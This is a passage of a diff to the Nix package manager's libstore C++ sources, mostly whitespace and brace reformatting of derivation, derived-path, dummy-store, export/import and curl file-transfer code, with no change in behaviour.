keys.insert(key); auto methodAlgo = [&]() -> std::pair { - ContentAddressMethod method = ContentAddressMethod::parse( - getString(valueAt(json, "method"))); + ContentAddressMethod method = ContentAddressMethod::parse(getString(valueAt(json, "method"))); if (method == ContentAddressMethod::Raw::Text) xpSettings.require(Xp::DynamicDerivations); - auto hashAlgo = parseHashAlgo( - getString(valueAt(json, "hashAlgo"))); - return { std::move(method), std::move(hashAlgo) }; + auto hashAlgo = parseHashAlgo(getString(valueAt(json, "hashAlgo"))); + return {std::move(method), std::move(hashAlgo)}; }; - if (keys == (std::set { "path" })) { - return DerivationOutput::InputAddressed { + if (keys == (std::set{"path"})) { + return DerivationOutput::InputAddressed{ .path = store.parseStorePath(getString(valueAt(json, "path"))), }; } - else if (keys == (std::set { "path", "method", "hashAlgo", "hash" })) { + else if (keys == (std::set{"path", "method", "hashAlgo", "hash"})) { auto [method, hashAlgo] = methodAlgo(); - auto dof = DerivationOutput::CAFixed { - .ca = ContentAddress { - .method = std::move(method), - .hash = Hash::parseNonSRIUnprefixed(getString(valueAt(json, "hash")), hashAlgo), - }, + auto dof = DerivationOutput::CAFixed{ + .ca = + ContentAddress{ + .method = std::move(method), + .hash = Hash::parseNonSRIUnprefixed(getString(valueAt(json, "hash")), hashAlgo), + }, }; if (dof.path(store, drvName, outputName) != store.parseStorePath(getString(valueAt(json, "path")))) throw Error("Path doesn't match derivation output"); return dof; } - else if (keys == (std::set { "method", "hashAlgo" })) { + else if (keys == (std::set{"method", "hashAlgo"})) { xpSettings.require(Xp::CaDerivations); auto [method, hashAlgo] = methodAlgo(); - return DerivationOutput::CAFloating { + return DerivationOutput::CAFloating{ .method = std::move(method), .hashAlgo = std::move(hashAlgo), }; } - else if (keys == (std::set { })) { - return DerivationOutput::Deferred {}; + else if (keys == (std::set{})) { + return DerivationOutput::Deferred{}; } - else if (keys == (std::set { "method", "hashAlgo", "impure" })) { + else if (keys == (std::set{"method", "hashAlgo", "impure"})) { xpSettings.require(Xp::ImpureDerivations); auto [method, hashAlgo] = methodAlgo(); - return DerivationOutput::Impure { + return DerivationOutput::Impure{ .method = std::move(method), .hashAlgo = hashAlgo, }; @@ -1284,7 +1288,6 @@ DerivationOutput DerivationOutput::fromJSON( } } - nlohmann::json Derivation::toJSON(const StoreDirConfig & store) const { nlohmann::json res = nlohmann::json::object(); @@ -1300,7 +1303,7 @@ nlohmann::json Derivation::toJSON(const StoreDirConfig & store) const } { - auto& inputsList = res["inputSrcs"]; + auto & inputsList = res["inputSrcs"]; inputsList = nlohmann::json ::array(); for (auto & input : inputSrcs) inputsList.emplace_back(store.printStorePath(input)); @@ -1320,7 +1323,7 @@ nlohmann::json Derivation::toJSON(const StoreDirConfig & store) const return value; }; { - auto& inputDrvsObj = res["inputDrvs"]; + auto & inputDrvsObj = res["inputDrvs"]; inputDrvsObj = nlohmann::json::object(); for (auto & [inputDrv, inputNode] : inputDrvs.map) { inputDrvsObj[store.printStorePath(inputDrv)] = doInput(inputNode); @@ -1336,11 +1339,8 @@ nlohmann::json Derivation::toJSON(const StoreDirConfig & store) const return res; } - Derivation Derivation::fromJSON( - const StoreDirConfig & store, - const nlohmann::json & _json, - const ExperimentalFeatureSettings & xpSettings) + const StoreDirConfig & store, const nlohmann::json & _json, const ExperimentalFeatureSettings & xpSettings) { using nlohmann::detail::value_t; @@ -1353,9 +1353,7 @@ Derivation Derivation::fromJSON( try { auto outputs = getObject(valueAt(json, "outputs")); for (auto & [outputName, output] : outputs) { - res.outputs.insert_or_assign( - outputName, - DerivationOutput::fromJSON(store, res.name, outputName, output)); + res.outputs.insert_or_assign(outputName, DerivationOutput::fromJSON(store, res.name, outputName, output)); } } catch (Error & e) { e.addTrace({}, "while reading key 'outputs'"); @@ -1386,8 +1384,7 @@ Derivation Derivation::fromJSON( }; auto drvs = getObject(valueAt(json, "inputDrvs")); for (auto & [inputDrvPath, inputOutputs] : drvs) - res.inputDrvs.map[store.parseStorePath(inputDrvPath)] = - doInput(inputOutputs); + res.inputDrvs.map[store.parseStorePath(inputDrvPath)] = doInput(inputOutputs); } catch (Error & e) { e.addTrace({}, "while reading key 'inputDrvs'"); throw; diff --git a/src/libstore/derived-path-map.cc b/src/libstore/derived-path-map.cc index d4234d92c..302ce31b7 100644 --- a/src/libstore/derived-path-map.cc +++ b/src/libstore/derived-path-map.cc @@ -6,18 +6,20 @@ namespace nix { template typename DerivedPathMap::ChildNode & DerivedPathMap::ensureSlot(const SingleDerivedPath & k) { - std::function initIter; + std::function initIter; initIter = [&](const auto & k) -> auto & { - return std::visit(overloaded { - [&](const SingleDerivedPath::Opaque & bo) -> auto & { - // will not overwrite if already there - return map[bo.path]; + return std::visit( + overloaded{ + [&](const SingleDerivedPath::Opaque & bo) -> auto & { + // will not overwrite if already there + return map[bo.path]; + }, + [&](const SingleDerivedPath::Built & bfd) -> auto & { + auto & n = initIter(*bfd.drvPath); + return n.childMap[bfd.output]; + }, }, - [&](const SingleDerivedPath::Built & bfd) -> auto & { - auto & n = initIter(*bfd.drvPath); - return n.childMap[bfd.output]; - }, - }, k.raw()); + k.raw()); }; return initIter(k); } @@ -25,25 +27,24 @@ typename DerivedPathMap::ChildNode & DerivedPathMap::ensureSlot(const Sing template typename DerivedPathMap::ChildNode * DerivedPathMap::findSlot(const SingleDerivedPath & k) { - std::function initIter; + std::function initIter; initIter = [&](const auto & k) { - return std::visit(overloaded { - [&](const SingleDerivedPath::Opaque & bo) { - auto it = map.find(bo.path); - return it != map.end() - ? &it->second - : nullptr; - }, - [&](const SingleDerivedPath::Built & bfd) { - auto * n = initIter(*bfd.drvPath); - if (!n) return (ChildNode *)nullptr; + return std::visit( + overloaded{ + [&](const SingleDerivedPath::Opaque & bo) { + auto it = map.find(bo.path); + return it != map.end() ? &it->second : nullptr; + }, + [&](const SingleDerivedPath::Built & bfd) { + auto * n = initIter(*bfd.drvPath); + if (!n) + return (ChildNode *) nullptr; - auto it = n->childMap.find(bfd.output); - return it != n->childMap.end() - ? &it->second - : nullptr; + auto it = n->childMap.find(bfd.output); + return it != n->childMap.end() ? &it->second : nullptr; + }, }, - }, k.raw()); + k.raw()); }; return initIter(k); } @@ -55,7 +56,7 @@ typename DerivedPathMap::ChildNode * DerivedPathMap::findSlot(const Single namespace nix { template<> -bool DerivedPathMap>::ChildNode::operator == ( +bool DerivedPathMap>::ChildNode::operator==( const DerivedPathMap>::ChildNode &) const noexcept = default; // TODO libc++ 16 (used by darwin) missing `std::map::operator <=>`, can't do yet. diff --git a/src/libstore/derived-path.cc b/src/libstore/derived-path.cc index 6186f0582..76b95c1bd 100644 --- a/src/libstore/derived-path.cc +++ b/src/libstore/derived-path.cc @@ -10,38 +10,22 @@ namespace nix { // Custom implementation to avoid `ref` ptr equality -GENERATE_CMP_EXT( - , - std::strong_ordering, - SingleDerivedPathBuilt, - *me->drvPath, - me->output); +GENERATE_CMP_EXT(, std::strong_ordering, SingleDerivedPathBuilt, *me->drvPath, me->output); // Custom implementation to avoid `ref` ptr equality // TODO no `GENERATE_CMP_EXT` because no `std::set::operator<=>` on // Darwin, per header. -GENERATE_EQUAL( - , - DerivedPathBuilt ::, - DerivedPathBuilt, - *me->drvPath, - me->outputs); -GENERATE_ONE_CMP( - , - bool, - DerivedPathBuilt ::, - <, - DerivedPathBuilt, - *me->drvPath, - me->outputs); +GENERATE_EQUAL(, DerivedPathBuilt ::, DerivedPathBuilt, *me->drvPath, me->outputs); +GENERATE_ONE_CMP(, bool, DerivedPathBuilt ::, <, DerivedPathBuilt, *me->drvPath, me->outputs); nlohmann::json DerivedPath::Opaque::toJSON(const StoreDirConfig & store) const { return store.printStorePath(path); } -nlohmann::json SingleDerivedPath::Built::toJSON(Store & store) const { +nlohmann::json SingleDerivedPath::Built::toJSON(Store & store) const +{ nlohmann::json res; res["drvPath"] = drvPath->toJSON(store); // Fallback for the input-addressed derivation case: We expect to always be @@ -59,7 +43,8 @@ nlohmann::json SingleDerivedPath::Built::toJSON(Store & store) const { return res; } -nlohmann::json DerivedPath::Built::toJSON(Store & store) const { +nlohmann::json DerivedPath::Built::toJSON(Store & store) const +{ nlohmann::json res; res["drvPath"] = drvPath->toJSON(store); // Fallback for the input-addressed derivation case: We expect to always be @@ -67,7 +52,8 @@ nlohmann::json DerivedPath::Built::toJSON(Store & store) const { // FIXME try-resolve on drvPath const auto outputMap = store.queryPartialDerivationOutputMap(resolveDerivedPath(store, *drvPath)); for (const auto & [output, outputPathOpt] : outputMap) { - if (!outputs.contains(output)) continue; + if (!outputs.contains(output)) + continue; if (outputPathOpt) res["outputs"][output] = store.printStorePath(*outputPathOpt); else @@ -78,16 +64,12 @@ nlohmann::json DerivedPath::Built::toJSON(Store & store) const { nlohmann::json SingleDerivedPath::toJSON(Store & store) const { - return std::visit([&](const auto & buildable) { - return buildable.toJSON(store); - }, raw()); + return std::visit([&](const auto & buildable) { return buildable.toJSON(store); }, raw()); } nlohmann::json DerivedPath::toJSON(Store & store) const { - return std::visit([&](const auto & buildable) { - return buildable.toJSON(store); - }, raw()); + return std::visit([&](const auto & buildable) { return buildable.toJSON(store); }, raw()); } std::string DerivedPath::Opaque::to_string(const StoreDirConfig & store) const @@ -107,82 +89,77 @@ std::string SingleDerivedPath::Built::to_string_legacy(const StoreDirConfig & st std::string DerivedPath::Built::to_string(const StoreDirConfig & store) const { - return drvPath->to_string(store) - + '^' - + outputs.to_string(); + return drvPath->to_string(store) + '^' + outputs.to_string(); } std::string DerivedPath::Built::to_string_legacy(const StoreDirConfig & store) const { - return drvPath->to_string_legacy(store) - + "!" - + outputs.to_string(); + return drvPath->to_string_legacy(store) + "!" + outputs.to_string(); } std::string SingleDerivedPath::to_string(const StoreDirConfig & store) const { - return std::visit( - [&](const auto & req) { return req.to_string(store); }, - raw()); + return std::visit([&](const auto & req) { return req.to_string(store); }, raw()); } std::string DerivedPath::to_string(const StoreDirConfig & store) const { - return std::visit( - [&](const auto & req) { return req.to_string(store); }, - raw()); + return std::visit([&](const auto & req) { return req.to_string(store); }, raw()); } std::string SingleDerivedPath::to_string_legacy(const StoreDirConfig & store) const { - return std::visit(overloaded { - [&](const SingleDerivedPath::Built & req) { return req.to_string_legacy(store); }, - [&](const SingleDerivedPath::Opaque & req) { return req.to_string(store); }, - }, this->raw()); + return std::visit( + overloaded{ + [&](const SingleDerivedPath::Built & req) { return req.to_string_legacy(store); }, + [&](const SingleDerivedPath::Opaque & req) { return req.to_string(store); }, + }, + this->raw()); } std::string DerivedPath::to_string_legacy(const StoreDirConfig & store) const { - return std::visit(overloaded { - [&](const DerivedPath::Built & req) { return req.to_string_legacy(store); }, - [&](const DerivedPath::Opaque & req) { return req.to_string(store); }, - }, this->raw()); + return std::visit( + overloaded{ + [&](const DerivedPath::Built & req) { return req.to_string_legacy(store); }, + [&](const DerivedPath::Opaque & req) { return req.to_string(store); }, + }, + this->raw()); } - DerivedPath::Opaque DerivedPath::Opaque::parse(const StoreDirConfig & store, std::string_view s) { return {store.parseStorePath(s)}; } -void drvRequireExperiment( - const SingleDerivedPath & drv, - const ExperimentalFeatureSettings & xpSettings) +void drvRequireExperiment(const SingleDerivedPath & drv, const ExperimentalFeatureSettings & xpSettings) { - std::visit(overloaded { - [&](const SingleDerivedPath::Opaque &) { - // plain drv path; no experimental features required. + std::visit( + overloaded{ + [&](const SingleDerivedPath::Opaque &) { + // plain drv path; no experimental features required. + }, + [&](const SingleDerivedPath::Built &) { xpSettings.require(Xp::DynamicDerivations); }, }, - [&](const SingleDerivedPath::Built &) { - xpSettings.require(Xp::DynamicDerivations); - }, - }, drv.raw()); + drv.raw()); } SingleDerivedPath::Built SingleDerivedPath::Built::parse( - const StoreDirConfig & store, ref drv, + const StoreDirConfig & store, + ref drv, OutputNameView output, const ExperimentalFeatureSettings & xpSettings) { drvRequireExperiment(*drv, xpSettings); return { .drvPath = drv, - .output = std::string { output }, + .output = std::string{output}, }; } DerivedPath::Built DerivedPath::Built::parse( - const StoreDirConfig & store, ref drv, + const StoreDirConfig & store, + ref drv, OutputNameView outputsS, const ExperimentalFeatureSettings & xpSettings) { @@ -194,117 +171,105 @@ DerivedPath::Built DerivedPath::Built::parse( } static SingleDerivedPath parseWithSingle( - const StoreDirConfig & store, std::string_view s, std::string_view separator, + const StoreDirConfig & store, + std::string_view s, + std::string_view separator, const ExperimentalFeatureSettings & xpSettings) { size_t n = s.rfind(separator); return n == s.npos - ? (SingleDerivedPath) SingleDerivedPath::Opaque::parse(store, s) - : (SingleDerivedPath) SingleDerivedPath::Built::parse(store, - make_ref(parseWithSingle( - store, - s.substr(0, n), - separator, - xpSettings)), - s.substr(n + 1), - xpSettings); + ? (SingleDerivedPath) SingleDerivedPath::Opaque::parse(store, s) + : (SingleDerivedPath) SingleDerivedPath::Built::parse( + store, + make_ref(parseWithSingle(store, s.substr(0, n), separator, xpSettings)), + s.substr(n + 1), + xpSettings); } SingleDerivedPath SingleDerivedPath::parse( - const StoreDirConfig & store, - std::string_view s, - const ExperimentalFeatureSettings & xpSettings) + const StoreDirConfig & store, std::string_view s, const ExperimentalFeatureSettings & xpSettings) { return parseWithSingle(store, s, "^", xpSettings); } SingleDerivedPath SingleDerivedPath::parseLegacy( - const StoreDirConfig & store, - std::string_view s, - const ExperimentalFeatureSettings & xpSettings) + const StoreDirConfig & store, std::string_view s, const ExperimentalFeatureSettings & xpSettings) { return parseWithSingle(store, s, "!", xpSettings); } static DerivedPath parseWith( - const StoreDirConfig & store, std::string_view s, std::string_view separator, + const StoreDirConfig & store, + std::string_view s, + std::string_view separator, const ExperimentalFeatureSettings & xpSettings) { size_t n = s.rfind(separator); return n == s.npos - ? (DerivedPath) DerivedPath::Opaque::parse(store, s) - : (DerivedPath) DerivedPath::Built::parse(store, - make_ref(parseWithSingle( - store, - s.substr(0, n), - separator, - xpSettings)), - s.substr(n + 1), - xpSettings); + ? (DerivedPath) DerivedPath::Opaque::parse(store, s) + : (DerivedPath) DerivedPath::Built::parse( + store, + make_ref(parseWithSingle(store, s.substr(0, n), separator, xpSettings)), + s.substr(n + 1), + xpSettings); } -DerivedPath DerivedPath::parse( - const StoreDirConfig & store, - std::string_view s, - const ExperimentalFeatureSettings & xpSettings) +DerivedPath +DerivedPath::parse(const StoreDirConfig & store, std::string_view s, const ExperimentalFeatureSettings & xpSettings) { return parseWith(store, s, "^", xpSettings); } DerivedPath DerivedPath::parseLegacy( - const StoreDirConfig & store, - std::string_view s, - const ExperimentalFeatureSettings & xpSettings) + const StoreDirConfig & store, std::string_view s, const ExperimentalFeatureSettings & xpSettings) { return parseWith(store, s, "!", xpSettings); } DerivedPath DerivedPath::fromSingle(const SingleDerivedPath & req) { - return std::visit(overloaded { - [&](const SingleDerivedPath::Opaque & o) -> DerivedPath { - return o; + return std::visit( + overloaded{ + [&](const SingleDerivedPath::Opaque & o) -> DerivedPath { return o; }, + [&](const SingleDerivedPath::Built & b) -> DerivedPath { + return DerivedPath::Built{ + .drvPath = b.drvPath, + .outputs = OutputsSpec::Names{b.output}, + }; + }, }, - [&](const SingleDerivedPath::Built & b) -> DerivedPath { - return DerivedPath::Built { - .drvPath = b.drvPath, - .outputs = OutputsSpec::Names { b.output }, - }; - }, - }, req.raw()); + req.raw()); } const StorePath & SingleDerivedPath::Built::getBaseStorePath() const { - return drvPath->getBaseStorePath(); + return drvPath->getBaseStorePath(); } const StorePath & DerivedPath::Built::getBaseStorePath() const { - return drvPath->getBaseStorePath(); + return drvPath->getBaseStorePath(); } template static inline const StorePath & getBaseStorePath_(const DP & derivedPath) { - return std::visit(overloaded { - [&](const typename DP::Built & bfd) -> auto & { - return bfd.drvPath->getBaseStorePath(); + return std::visit( + overloaded{ + [&](const typename DP::Built & bfd) -> auto & { return bfd.drvPath->getBaseStorePath(); }, + [&](const typename DP::Opaque & bo) -> auto & { return bo.path; }, }, - [&](const typename DP::Opaque & bo) -> auto & { - return bo.path; - }, - }, derivedPath.raw()); + derivedPath.raw()); } const StorePath & SingleDerivedPath::getBaseStorePath() const { - return getBaseStorePath_(*this); + return getBaseStorePath_(*this); } const StorePath & DerivedPath::getBaseStorePath() const { - return getBaseStorePath_(*this); + return getBaseStorePath_(*this); } } diff --git a/src/libstore/downstream-placeholder.cc b/src/libstore/downstream-placeholder.cc index 24ce2ad99..fe13ab203 100644 --- a/src/libstore/downstream-placeholder.cc +++ b/src/libstore/downstream-placeholder.cc @@ -8,19 +8,15 @@ std::string DownstreamPlaceholder::render() const return "/" + hash.to_string(HashFormat::Nix32, false); } - DownstreamPlaceholder DownstreamPlaceholder::unknownCaOutput( - const StorePath & drvPath, - OutputNameView outputName, - const ExperimentalFeatureSettings & xpSettings) + const StorePath & drvPath, OutputNameView outputName, const ExperimentalFeatureSettings & xpSettings) { xpSettings.require(Xp::CaDerivations); auto drvNameWithExtension = drvPath.name(); auto drvName = drvNameWithExtension.substr(0, drvNameWithExtension.size() - 4); - auto clearText = "nix-upstream-output:" + std::string { drvPath.hashPart() } + ":" + outputPathName(drvName, outputName); - return DownstreamPlaceholder { - hashString(HashAlgorithm::SHA256, clearText) - }; + auto clearText = + "nix-upstream-output:" + std::string{drvPath.hashPart()} + ":" + outputPathName(drvName, outputName); + return DownstreamPlaceholder{hashString(HashAlgorithm::SHA256, clearText)}; } DownstreamPlaceholder DownstreamPlaceholder::unknownDerivation( @@ -30,29 +26,25 @@ DownstreamPlaceholder DownstreamPlaceholder::unknownDerivation( { xpSettings.require(Xp::DynamicDerivations); auto compressed = compressHash(placeholder.hash, 20); - auto clearText = "nix-computed-output:" - + compressed.to_string(HashFormat::Nix32, false) - + ":" + std::string { outputName }; - return DownstreamPlaceholder { - hashString(HashAlgorithm::SHA256, clearText) - }; + auto clearText = + "nix-computed-output:" + compressed.to_string(HashFormat::Nix32, false) + ":" + std::string{outputName}; + return DownstreamPlaceholder{hashString(HashAlgorithm::SHA256, clearText)}; } DownstreamPlaceholder DownstreamPlaceholder::fromSingleDerivedPathBuilt( - const SingleDerivedPath::Built & b, - const ExperimentalFeatureSettings & xpSettings) + const SingleDerivedPath::Built & b, const ExperimentalFeatureSettings & xpSettings) { - return std::visit(overloaded { - [&](const SingleDerivedPath::Opaque & o) { - return DownstreamPlaceholder::unknownCaOutput(o.path, b.output, xpSettings); + return std::visit( + overloaded{ + [&](const SingleDerivedPath::Opaque & o) { + return DownstreamPlaceholder::unknownCaOutput(o.path, b.output, xpSettings); + }, + [&](const SingleDerivedPath::Built & b2) { + return DownstreamPlaceholder::unknownDerivation( + DownstreamPlaceholder::fromSingleDerivedPathBuilt(b2, xpSettings), b.output, xpSettings); + }, }, - [&](const SingleDerivedPath::Built & b2) { - return DownstreamPlaceholder::unknownDerivation( - DownstreamPlaceholder::fromSingleDerivedPathBuilt(b2, xpSettings), - b.output, - xpSettings); - }, - }, b.drvPath->raw()); + b.drvPath->raw()); } } diff --git a/src/libstore/dummy-store.cc b/src/libstore/dummy-store.cc index 80367d597..b6b9d086a 100644 --- a/src/libstore/dummy-store.cc +++ b/src/libstore/dummy-store.cc @@ -3,7 +3,8 @@ namespace nix { -struct DummyStoreConfig : virtual StoreConfig { +struct DummyStoreConfig : virtual StoreConfig +{ using StoreConfig::StoreConfig; DummyStoreConfig(std::string_view scheme, std::string_view authority, const Params & params) @@ -13,16 +14,20 @@ struct DummyStoreConfig : virtual StoreConfig { throw UsageError("`%s` store URIs must not contain an authority part %s", scheme, authority); } - const std::string name() override { return "Dummy Store"; } + const std::string name() override + { + return "Dummy Store"; + } std::string doc() override { return - #include "dummy-store.md" - ; +#include "dummy-store.md" + ; } - static std::set uriSchemes() { + static std::set uriSchemes() + { return {"dummy"}; } }; @@ -33,19 +38,21 @@ struct DummyStore : public virtual DummyStoreConfig, public virtual Store : StoreConfig(params) , DummyStoreConfig(scheme, authority, params) , Store(params) - { } + { + } DummyStore(const Params & params) : DummyStore("dummy", "", params) - { } + { + } std::string getUri() override { return *uriSchemes().begin(); } - void queryPathInfoUncached(const StorePath & path, - Callback> callback) noexcept override + void queryPathInfoUncached( + const StorePath & path, Callback> callback) noexcept override { callback(nullptr); } @@ -59,11 +66,14 @@ struct DummyStore : public virtual DummyStoreConfig, public virtual Store } std::optional queryPathFromHashPart(const std::string & hashPart) override - { unsupported("queryPathFromHashPart"); } + { + unsupported("queryPathFromHashPart"); + } - void addToStore(const ValidPathInfo & info, Source & source, - RepairFlag repair, CheckSigsFlag checkSigs) override - { unsupported("addToStore"); } + void addToStore(const ValidPathInfo & info, Source & source, RepairFlag repair, CheckSigsFlag checkSigs) override + { + unsupported("addToStore"); + } virtual StorePath addToStoreFromDump( Source & dump, @@ -73,14 +83,20 @@ struct DummyStore : public virtual DummyStoreConfig, public virtual Store HashAlgorithm hashAlgo = HashAlgorithm::SHA256, const StorePathSet & references = StorePathSet(), RepairFlag repair = NoRepair) override - { unsupported("addToStore"); } + { + unsupported("addToStore"); + } void narFromPath(const StorePath & path, Sink & sink) override - { unsupported("narFromPath"); } + { + unsupported("narFromPath"); + } - void queryRealisationUncached(const DrvOutput &, - Callback> callback) noexcept override - { callback(nullptr); } + void + queryRealisationUncached(const DrvOutput &, Callback> callback) noexcept override + { + callback(nullptr); + } virtual ref getFSAccessor(bool requireValidPath) override { diff --git a/src/libstore/export-import.cc b/src/libstore/export-import.cc index 5bbdd1e5c..f927b7679 100644 --- a/src/libstore/export-import.cc +++ b/src/libstore/export-import.cc @@ -35,18 +35,15 @@ void Store::exportPath(const StorePath & path, Sink & sink) Don't complain if the stored hash is zero (unknown). */ Hash hash = hashSink.currentHash().first; if (hash != info->narHash && info->narHash != Hash(info->narHash.algo)) - throw Error("hash of path '%s' has changed from '%s' to '%s'!", - printStorePath(path), info->narHash.to_string(HashFormat::Nix32, true), hash.to_string(HashFormat::Nix32, true)); + throw Error( + "hash of path '%s' has changed from '%s' to '%s'!", + printStorePath(path), + info->narHash.to_string(HashFormat::Nix32, true), + hash.to_string(HashFormat::Nix32, true)); - teeSink - << exportMagic - << printStorePath(path); - CommonProto::write(*this, - CommonProto::WriteConn { .to = teeSink }, - info->references); - teeSink - << (info->deriver ? printStorePath(*info->deriver) : "") - << 0; + teeSink << exportMagic << printStorePath(path); + CommonProto::write(*this, CommonProto::WriteConn{.to = teeSink}, info->references); + teeSink << (info->deriver ? printStorePath(*info->deriver) : "") << 0; } StorePaths Store::importPaths(Source & source, CheckSigsFlag checkSigs) @@ -54,12 +51,14 @@ StorePaths Store::importPaths(Source & source, CheckSigsFlag checkSigs) StorePaths res; while (true) { auto n = readNum(source); - if (n == 0) break; - if (n != 1) throw Error("input doesn't look like something created by 'nix-store --export'"); + if (n == 0) + break; + if (n != 1) + throw Error("input doesn't look like something created by 'nix-store --export'"); /* Extract the NAR from the source. */ StringSink saved; - TeeSource tee { source, saved }; + TeeSource tee{source, saved}; NullFileSystemObjectSink ether; parseDump(ether, tee); @@ -69,14 +68,13 @@ StorePaths Store::importPaths(Source & source, CheckSigsFlag checkSigs) auto path = parseStorePath(readString(source)); - //Activity act(*logger, lvlInfo, "importing path '%s'", info.path); + // Activity act(*logger, lvlInfo, "importing path '%s'", info.path); - auto references = CommonProto::Serialise::read(*this, - CommonProto::ReadConn { .from = source }); + auto references = CommonProto::Serialise::read(*this, CommonProto::ReadConn{.from = source}); auto deriver = readString(source); auto narHash = hashString(HashAlgorithm::SHA256, saved.s); - ValidPathInfo info { path, narHash }; + ValidPathInfo info{path, narHash}; if (deriver != "") info.deriver = parseStorePath(deriver); info.references = references; diff --git a/src/libstore/filetransfer.cc b/src/libstore/filetransfer.cc index a917188d9..a78ff4dca 100644 --- a/src/libstore/filetransfer.cc +++ b/src/libstore/filetransfer.cc @@ -10,11 +10,11 @@ #include "store-config-private.hh" #if NIX_WITH_S3_SUPPORT -#include +# include #endif #ifdef __linux__ -# include "nix/util/namespaces.hh" +# include "nix/util/namespaces.hh" #endif #include @@ -74,7 +74,7 @@ struct curlFileTransfer : public FileTransfer std::chrono::steady_clock::time_point startTime = std::chrono::steady_clock::now(); - inline static const std::set successfulStatuses {200, 201, 204, 206, 304, 0 /* other protocol */}; + inline static const std::set successfulStatuses{200, 201, 204, 206, 304, 0 /* other protocol */}; /* Get the HTTP status code, or 0 for other protocols. */ long getHTTPStatus() @@ -87,14 +87,18 @@ struct curlFileTransfer : public FileTransfer return httpStatus; } - TransferItem(curlFileTransfer & fileTransfer, + TransferItem( + curlFileTransfer & fileTransfer, const FileTransferRequest & request, Callback && callback) : fileTransfer(fileTransfer) , request(request) - , act(*logger, lvlTalkative, actFileTransfer, - fmt("%sing '%s'", request.verb(), request.uri), - {request.uri}, request.parentAct) + , act(*logger, + lvlTalkative, + actFileTransfer, + fmt("%sing '%s'", request.verb(), request.uri), + {request.uri}, + request.parentAct) , callback(std::move(callback)) , finalSink([this](std::string_view data) { if (errorSink) { @@ -112,7 +116,7 @@ struct curlFileTransfer : public FileTransfer } } else this->result.data.append(data); - }) + }) { result.urls.push_back(request.uri); @@ -121,7 +125,7 @@ struct curlFileTransfer : public FileTransfer requestHeaders = curl_slist_append(requestHeaders, ("If-None-Match: " + request.expectedETag).c_str()); if (!request.mimeType.empty()) requestHeaders = curl_slist_append(requestHeaders, ("Content-Type: " + request.mimeType).c_str()); - for (auto it = request.headers.begin(); it != request.headers.end(); ++it){ + for (auto it = request.headers.begin(); it != request.headers.end(); ++it) { requestHeaders = curl_slist_append(requestHeaders, fmt("%s: %s", it->first, it->second).c_str()); } } @@ -133,7 +137,8 @@ struct curlFileTransfer : public FileTransfer curl_multi_remove_handle(fileTransfer.curlm, req); curl_easy_cleanup(req); } - if (requestHeaders) curl_slist_free_all(requestHeaders); + if (requestHeaders) + curl_slist_free_all(requestHeaders); try { if (!done) fail(FileTransferError(Interrupted, {}, "download of '%s' was interrupted", request.uri)); @@ -169,12 +174,12 @@ struct curlFileTransfer : public FileTransfer if (!decompressionSink) { decompressionSink = makeDecompressionSink(encoding, finalSink); - if (! successfulStatuses.count(getHTTPStatus())) { + if (!successfulStatuses.count(getHTTPStatus())) { // In this case we want to construct a TeeSink, to keep // the response around (which we figure won't be big // like an actual download should be) to improve error // messages. - errorSink = StringSink { }; + errorSink = StringSink{}; } } @@ -244,7 +249,8 @@ struct curlFileTransfer : public FileTransfer else if (name == "link" || name == "x-amz-meta-link") { auto value = trim(line.substr(i + 1)); - static std::regex linkRegex("<([^>]*)>; rel=\"immutable\"", std::regex::extended | std::regex::icase); + static std::regex linkRegex( + "<([^>]*)>; rel=\"immutable\"", std::regex::extended | std::regex::icase); if (std::smatch match; std::regex_match(value, match, linkRegex)) result.immutableUrl = match.str(1); else @@ -270,7 +276,8 @@ struct curlFileTransfer : public FileTransfer return getInterrupted(); } - static int progressCallbackWrapper(void * userp, curl_off_t dltotal, curl_off_t dlnow, curl_off_t ultotal, curl_off_t ulnow) + static int progressCallbackWrapper( + void * userp, curl_off_t dltotal, curl_off_t dlnow, curl_off_t ultotal, curl_off_t ulnow) { auto & item = *static_cast(userp); auto isUpload = bool(item.request.data); @@ -285,7 +292,7 @@ struct curlFileTransfer : public FileTransfer } size_t readOffset = 0; - size_t readCallback(char *buffer, size_t size, size_t nitems) + size_t readCallback(char * buffer, size_t size, size_t nitems) { if (readOffset == request.data->length()) return 0; @@ -296,22 +303,24 @@ struct curlFileTransfer : public FileTransfer return count; } - static size_t readCallbackWrapper(char *buffer, size_t size, size_t nitems, void * userp) + static size_t readCallbackWrapper(char * buffer, size_t size, size_t nitems, void * userp) { return ((TransferItem *) userp)->readCallback(buffer, size, nitems); } - #if !defined(_WIN32) && LIBCURL_VERSION_NUM >= 0x071000 - static int cloexec_callback(void *, curl_socket_t curlfd, curlsocktype purpose) { +#if !defined(_WIN32) && LIBCURL_VERSION_NUM >= 0x071000 + static int cloexec_callback(void *, curl_socket_t curlfd, curlsocktype purpose) + { unix::closeOnExec(curlfd); vomit("cloexec set for fd %i", curlfd); return CURL_SOCKOPT_OK; } - #endif +#endif void init() { - if (!req) req = curl_easy_init(); + if (!req) + req = curl_easy_init(); curl_easy_reset(req); @@ -324,18 +333,21 @@ struct curlFileTransfer : public FileTransfer curl_easy_setopt(req, CURLOPT_FOLLOWLOCATION, 1L); curl_easy_setopt(req, CURLOPT_MAXREDIRS, 10); curl_easy_setopt(req, CURLOPT_NOSIGNAL, 1); - curl_easy_setopt(req, CURLOPT_USERAGENT, - ("curl/" LIBCURL_VERSION " Nix/" + nixVersion + - (fileTransferSettings.userAgentSuffix != "" ? " " + fileTransferSettings.userAgentSuffix.get() : "")).c_str()); - #if LIBCURL_VERSION_NUM >= 0x072b00 + curl_easy_setopt( + req, + CURLOPT_USERAGENT, + ("curl/" LIBCURL_VERSION " Nix/" + nixVersion + + (fileTransferSettings.userAgentSuffix != "" ? " " + fileTransferSettings.userAgentSuffix.get() : "")) + .c_str()); +#if LIBCURL_VERSION_NUM >= 0x072b00 curl_easy_setopt(req, CURLOPT_PIPEWAIT, 1); - #endif - #if LIBCURL_VERSION_NUM >= 0x072f00 +#endif +#if LIBCURL_VERSION_NUM >= 0x072f00 if (fileTransferSettings.enableHttp2) curl_easy_setopt(req, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_2TLS); else curl_easy_setopt(req, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_1); - #endif +#endif curl_easy_setopt(req, CURLOPT_WRITEFUNCTION, TransferItem::writeCallbackWrapper); curl_easy_setopt(req, CURLOPT_WRITEDATA, this); curl_easy_setopt(req, CURLOPT_HEADERFUNCTION, TransferItem::headerCallbackWrapper); @@ -371,9 +383,9 @@ struct curlFileTransfer : public FileTransfer curl_easy_setopt(req, CURLOPT_SSL_VERIFYHOST, 0); } - #if !defined(_WIN32) && 